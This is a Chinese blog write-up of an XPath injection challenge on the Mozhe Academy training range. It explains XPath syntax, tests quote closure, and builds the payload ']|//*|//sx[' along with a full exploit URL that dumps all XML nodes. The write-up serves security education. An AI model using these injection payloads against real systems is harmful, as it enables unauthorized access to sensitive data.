Xpath注入(墨者学院靶场)

题目背景介绍:

XPath即为XML路径语言,它是一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言。XPath基于XML的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树中找寻节点的能力。起初XPath 的提出的初衷是将其作为一个通用的、介于XPointer与XSLT间的语法模型。但是 XPath 很快的被开发者采用来当作小型查询语言。
Xpath注入攻击本质上和SQL注入攻击是类似的,都是一个恶意字符未过滤,而导致可查询到敏感数据。安全工程师"墨者"做了一个关于Xpath注入的页面,供大家测试。

题目基本要求:

1、了解XPath语法;
2、了解SQL注入的基本原理;

解题过程

首先第一次访问靶场的界面是这样的的:

于是使用Payload:' and '1'='1  判断闭合字符为单引号'

 那么下面的目的就是列如节点下的所有元素:

Xpath语法中:

| 符号表述与运算,列如//book|//cd ,那么就会返回book和cd的节点集

// 表示从根节点开始解析

 判断对方的后台代码拼接:

$query="user/username[@name='".$user."']";

那么想查出根节点下的所有元素,构造出来的Payload:']|//*|//xx['

那么最后后台接收到字符后的最终查询语句为如下所示:

$query="user/username[@name='']|//*|//sx['']";

两个单引号和]、[号,闭合了前后的单引号和小括号,那么接下来就使用|与运算符连接查询使用//*查询根节点下的所有元素,后面的|//sx是为了闭合后面的小括号,sx字符可以任意修改

最终exp为:http://xx.xx.xx.xx:44706/demo.php?name=']|//*|//sx['

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

冒险岛_0_

您的打赏是我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值